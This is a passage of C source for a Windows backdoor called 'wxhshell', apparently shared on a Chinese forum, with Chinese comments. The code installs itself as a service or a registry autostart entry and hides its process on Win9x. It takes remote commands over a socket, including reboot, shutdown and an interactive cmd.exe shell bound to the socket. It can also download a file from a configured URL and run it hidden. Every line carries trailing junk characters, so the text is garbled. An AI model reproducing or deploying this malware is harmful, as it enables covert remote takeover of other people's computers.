      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ED>P>Gg  
    break; hJ75(I *j  
  } 5+t$4N+P  
  // 安装 %0'7J@W  
  case 'i': { Rpj{!Ia  
    if(Install()) Sx1OY0)s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <&tdyAT?&  
    else !Oi':OQG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2rHQ7  
    break;  p+-IvU  
    } K1p.{  
  // 卸载 :mt<]Oy3  
  case 'r': { i"mQ  
    if(Uninstall()) %8>0;ktU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 77'@U(  
    else ~VV$wU!A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HrUE?Sq  
    break; BadnL<cj]  
    } BN6cu9a  
  // 显示 wxhshell 所在路径 EtQ:x$S_  
  case 'p': { 24\^{3nOK  
    char svExeFile[MAX_PATH]; cI-@nV  
    strcpy(svExeFile,"\n\r"); csV3mzP  
      strcat(svExeFile,ExeFile); t >Rh  
        send(wsh,svExeFile,strlen(svExeFile),0); /h@3R[k  
    break; H(Y1%@  
    } -] G=Q1 1  
  // 重启 c GyBml1  
  case 'b': { Lz!H@)-mr  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); h+Y>\Cxg  
    if(Boot(REBOOT)) 2SlI5+u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N$u: !  
    else { 1?G%&X@ X  
    closesocket(wsh); lUw=YM  
    ExitThread(0); h;R>|2A  
    } 9U3.=J  
    break; 9<o*aFgCa  
    } V7B%o:FZo  
  // 关机 |W}D_2  
  case 'd': {  j}w  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >O0<u  
    if(Boot(SHUTDOWN)) E&)o.l<h|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -J0I2D  
    else { dJ>tM'G  
    closesocket(wsh); /v.<h*hxWy  
    ExitThread(0); }0]iS8*tL  
    } Pfd%[C/vdm  
    break; o\fPZ`p-m~  
    } e}(8BF  
  // 获取shell )k]{FM  
  case 's': { E:[!)UG|y  
    CmdShell(wsh); l~[ K.p&  
    closesocket(wsh); 'C@yJf  
    ExitThread(0); +-rSO"nc  
    break; Jgy6!qUn_  
  } XANJA  
  // 退出 L @J$kqWY  
  case 'x': { m8INgzVTC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .=) *Qx+  
    CloseIt(wsh); M0hR]4T  
    break; U !%IC7@  
    } c?6(mU\x  
  // 离开 "2 D{X  
  case 'q': { pp2 Jy{\d  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); b,47 EJ}  
    closesocket(wsh); =@nW;PUZ  
    WSACleanup(); 6=x]20  
    exit(1); ]qx!51S  
    break; gx2v(1?S  
        } q?8#D  
  } hTPvt  
  } M >i *e  
?.ofs}  
  // 提示信息 !:~C/B{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^c"\%!w"O  
} |BO5<`&I  
  } ZIc-^&`r=  
rMJ4w['J=  
  return; }IQ![T5  
} k8cR`5 @PK  
(1'sBm7F  
// shell模块句柄 T,B%iZgCh  
int CmdShell(SOCKET sock) [P]M)vJ**  
{ z; >O5a>z  
STARTUPINFO si; GT3}'`f B  
ZeroMemory(&si,sizeof(si)); Rli`]~!w  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; & fnfuU$   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [p )2!]y  
PROCESS_INFORMATION ProcessInfo; WK.,q>#  
char cmdline[]="cmd"; o+\?E.%%g  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Rb <{o8  
  return 0; p4K 8L'nZ  
} M[e{(iQ:  
3>^B%qg6  
// 自身启动模式 zj=F4]w  
int StartFromService(void) zeH=py[n  
{ !DKl:8mx4  
typedef struct 2 xi@5;!  
{ w_Z*X5u  
  DWORD ExitStatus; x o72JJ  
  DWORD PebBaseAddress; x/ P\qI  
  DWORD AffinityMask; `?T8NK  
  DWORD BasePriority; 5zt5]zl'  
  ULONG UniqueProcessId; <q|eG\01S  
  ULONG InheritedFromUniqueProcessId; |^GN<y^cn  
}   PROCESS_BASIC_INFORMATION; ,UD5>Ai  
m h|HEkM  
PROCNTQSIP NtQueryInformationProcess; Ll^9,G"Tt  
<a2Kc '  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; PU\@^)$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ki3 wqY  
92*Y( >  
  HANDLE             hProcess; <%oT}K\;  
  PROCESS_BASIC_INFORMATION pbi; TJs@V>,  
@2 SL$0!QA  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u?8e>a  
  if(NULL == hInst ) return 0; puGy`9eKv1  
G""=`@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); iEMIzaR  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ||4++84{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); KYFkO~N  
l`{JxVg  
  if (!NtQueryInformationProcess) return 0; xCm`g {  
~|e H8@o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6EG`0h6  
  if(!hProcess) return 0; om,=.,|Ld  
.PJ_1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; sT"{ e7;F;  
h,'m*@Eg  
  CloseHandle(hProcess); $h'>Zvf  
[kZe6gYP&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s ,GGO3^  
if(hProcess==NULL) return 0; 5LxzET"P  
z^9df(  
HMODULE hMod; LtBm }0  
char procName[255]; mg4: N  
unsigned long cbNeeded; SyR[G*djl  
`LVX|l62  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m2Q#ATLW  
]i:O+t/U  
  CloseHandle(hProcess); ZD]5"oHY  
jo=,j/,l  
if(strstr(procName,"services")) return 1; // 以服务启动 XAc#ywophi  
}U7 ><I  
  return 0; // 注册表启动 \9dC z;  
} Nv_"?er+y  
i6h , Aw3  
// 主模块 o@G <[X|ke  
int StartWxhshell(LPSTR lpCmdLine) eVbaxL!Q^  
{  &+Pcu5  
  SOCKET wsl; 0sKY;(  
BOOL val=TRUE; |JH1?n  
  int port=0; cLe659&  
  struct sockaddr_in door; nXqZkZE\  
 $mG&4Y  
  if(wscfg.ws_autoins) Install(); <CUe"WbE)  
^+ +ec>  
port=atoi(lpCmdLine); ?yt"  
#~^Y2-C#  
if(port<=0) port=wscfg.ws_port; hUy\)GsT  
hE>i~:~R  
  WSADATA data; \[w82%U  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q@x{6zj  
cC6W1K!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   P:y M j&)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); s9Aq-N  
  door.sin_family = AF_INET; g^DPb pWxu  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); v='h  
  door.sin_port = htons(port); |PED8K:rU  
RWi~34r  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :jq   
closesocket(wsl); DKfw8"L]  
return 1; IU`&h2KZ.  
} +[ 944n  
=?f\o*J)  
  if(listen(wsl,2) == INVALID_SOCKET) { ',yY  
closesocket(wsl); tc'` 4O]c8  
return 1; L 59q\_|  
} jnuovM!x~  
  Wxhshell(wsl); 9+\3E4K  
  WSACleanup(); QX'/PO  
NQ@."8  
return 0; AtN=G"c>_  
wV;qc3  
} 6 ztM(2[  
<Vk^fV  
// 以NT服务方式启动 T&=1IoOg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) e8@@Pi<sB  
{  `Up Zk?k  
DWORD   status = 0; {g *kr1JM  
  DWORD   specificError = 0xfffffff; ~',<7eW  
=kUN ^hb  
  serviceStatus.dwServiceType     = SERVICE_WIN32; b:nHcxDU<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; i# 1:DiF  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <5Jp2x#  
  serviceStatus.dwWin32ExitCode     = 0; 0'm4 ) \  
  serviceStatus.dwServiceSpecificExitCode = 0;  ajayj|h  
  serviceStatus.dwCheckPoint       = 0; ttPa[h{!  
  serviceStatus.dwWaitHint       = 0; mzz77i  
&z r..i4O  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); UNJ]$x0  
  if (hServiceStatusHandle==0) return; x62 b=k}  
V11Zl{uOl  
status = GetLastError(); zM^ux!T=  
  if (status!=NO_ERROR) 4w:_4qyb  
{ UJ_E&7,L  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; HKk;oG  
    serviceStatus.dwCheckPoint       = 0; dD3I.?DY  
    serviceStatus.dwWaitHint       = 0; Y zXL8  
    serviceStatus.dwWin32ExitCode     = status; [}|-% 4s  
    serviceStatus.dwServiceSpecificExitCode = specificError; sV/#P<9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 42?X)n>  
    return; Pgs^#(^>  
  } O>z M(I+p  
wY2#xD  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; WVp7H  
  serviceStatus.dwCheckPoint       = 0; dIG(7 ~  
  serviceStatus.dwWaitHint       = 0; \w!G  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ki#O ^vl  
} gg(^:`+  
*BYSfcX6  
// 处理NT服务事件,比如:启动、停止 /s>ZT8vaAs  
VOID WINAPI NTServiceHandler(DWORD fdwControl) sY=fS2b#)  
{ _'k?9eN`  
switch(fdwControl) =~% B}T  
{ 7CzZHkTg  
case SERVICE_CONTROL_STOP: h5G>FPM-=  
  serviceStatus.dwWin32ExitCode = 0; SxYX`NQ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?]081l7cd  
  serviceStatus.dwCheckPoint   = 0; CE>RAerY  
  serviceStatus.dwWaitHint     = 0; sT9P  
  { #_}lF<k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &>Q_  
  } nKJJ7'$'3  
  return; N0GID-W!/~  
case SERVICE_CONTROL_PAUSE: 2P8JLT*Tj  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Dcq\1V.e`W  
  break; BW}^n  
case SERVICE_CONTROL_CONTINUE: ?w1_.m|8u  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; m& DDz+g  
  break; B&_62`  
case SERVICE_CONTROL_INTERROGATE: `?PZvGi  
  break; l tr =_  
}; KE+y'j#C3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8@|_];9#.  
} #F.;N<a  
>De\2gbJ  
// 标准应用程序主函数 nJny9g  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) qn#\ro1H  
{ _JA.~edqM  
\Nu(+G?e  
// 获取操作系统版本  gM20n^  
OsIsNt=GetOsVer(); 2As 4}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); W|3XD-v@  
qtTys gv  
  // 从命令行安装 '8~7Ru\KyX  
  if(strpbrk(lpCmdLine,"iI")) Install(); NjVuwIm+  
3uCC_Am  
  // 下载执行文件 ZGa>^k[:  
if(wscfg.ws_downexe) { }`4o+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o|Obl@CSBD  
  WinExec(wscfg.ws_filenam,SW_HIDE); mCe,(/>l+  
} v8,+|+3  
*KF:  
if(!OsIsNt) { oYnA 3  
// 如果时win9x,隐藏进程并且设置为注册表启动 _/ZIDIn  
HideProc(); nbMnqkNb  
StartWxhshell(lpCmdLine); VcT(n7  
} kssS,Ogf\_  
else zv!%u=49  
  if(StartFromService()) :k075Zr/#D  
  // 以服务方式启动 {Q?AIp6u|  
  StartServiceCtrlDispatcher(DispatchTable); ;VM/Cxgep  
else UXoaUW L  
  // 普通方式启动 a<FzHCw  
  StartWxhshell(lpCmdLine); T{bM/?g  
;Yyg(Ex  
return 0; Rk56H  
}
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只看该作者 1 发表于: 2006-10-10
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